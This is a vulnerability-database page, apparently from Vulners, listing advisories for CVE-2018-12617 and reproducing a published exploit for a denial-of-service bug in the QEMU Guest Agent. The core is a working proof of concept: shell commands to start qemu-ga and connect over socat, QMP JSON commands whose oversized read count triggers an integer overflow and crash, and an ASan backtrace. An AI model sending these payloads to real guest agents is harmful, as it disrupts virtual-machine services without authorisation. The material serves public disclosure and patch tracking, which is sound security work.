| Reporter | Title | Published | Views | Family All 114 |
|---|---|---|---|---|
| QEMU Guest Agent 2.12.50 - Denial of Service Vulnerability | 22 Jun 201800:00 | – | zdt | |
| QEMU integer overflow vulnerability (CNVD-2018-11977) | 22 Jun 201800:00 | – | cnvd | |
| CVE-2018-12617 | 21 Jun 201818:00 | – | cve | |
| CVE-2018-12617 | 21 Jun 201818:00 | – | cvelist | |
| [SECURITY] [DLA 1694-1] qemu security update | 28 Feb 201908:42 | – | debian | |
| [SECURITY] [DSA 4454-1] qemu security update | 30 May 201918:06 | – | debian | |
| CVE-2018-12617 | 21 Jun 201818:00 | – | debiancve | |
| Debian DLA-1694-1 : qemu security update | 1 Mar 201900:00 | – | nessus | |
| Debian DSA-4454-1 : qemu - security update | 31 May 201900:00 | – | nessus | |
| EulerOS Virtualization for ARM 64 3.0.1.0 : qemu-kvm (EulerOS-SA-2019-1405) | 14 May 201900:00 | – | nessus |
# Exploit Title: QEMU Guest Agent 2.12.50 - Denial of Service
# Date: 2018-06-07
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.qemu.org/
# Software Link: https://www.qemu.org/download/
# Version: 2.12.50 and earlier
# Tested on: 2.12.50
# CVE : CVE-2018-12617
# QEMU Guest Agent 2.12.50 and earlier has an integer overflow causing a g_malloc0()
# call to trigger a segfault() call when trying to allocate a large memory chunk.
# The vulnerability can be exploited by sending a specific QMP command to
# the agent via the listening socket.
1st, execute the guest-agent using the following command:
$ qemu-ga -m unix-listen -p /tmp/qga.sock -t /tmp
2nd, on the other console, connect to the UNIX socket using socat:
$ socat unix-connect:/tmp/qga.sock -
3rd, enter the following QMP command:
{"execute":"guest-file-open", "arguments":{"path":"/tmp/poc","mode":"w+”}}
{"return": 1000}
{"execute":"guest-file-read", "arguments":{"handle":1000,"count":4294967295}}
The guest-file-read must be specified with the correct handle value (file descriptor). Different files will have different handle value.
#0 0x5598eed0a1af in calloc /home/user/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:107
#1 0x7f2ce5d7d770 in g_malloc0 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4f770)
#2 0x5598eed84996 in qmp_marshal_guest_file_read /home/user/qemu/qga/qapi-generated/qga-qapi-commands.c:425:14
#3 0x5598eeda4fcf in do_qmp_dispatch /home/user/qemu/qapi/qmp-dispatch.c:119:5
#4 0x5598eeda4fcf in qmp_dispatch /home/user/qemu/qapi/qmp-dispatch.c:168
#5 0x5598eed59bff in process_command /home/user/qemu/qga/main.c:589:11
#6 0x5598eed59bff in process_event /home/user/qemu/qga/main.c:626
#7 0x5598eedb5f13 in json_message_process_token /home/user/qemu/qobject/json-streamer.c:105:5
#8 0x5598eee25d9b in json_lexer_feed_char /home/user/qemu/qobject/json-lexer.c:323:13
#9 0x5598eee25333 in json_lexer_feed /home/user/qemu/qobject/json-lexer.c:373:15
#10 0x5598eed5a95e in channel_event_cb /home/user/qemu/qga/main.c:659:9
#11 0x5598eed710c1 in ga_channel_client_event /home/user/qemu/qga/channel-posix.c:92:23
#12 0x7f2ce5d78049 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a049)
# References:
# 1. https://lists.gnu.org/archive/html/qemu-devel/2018-06/msg03385.htmlData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation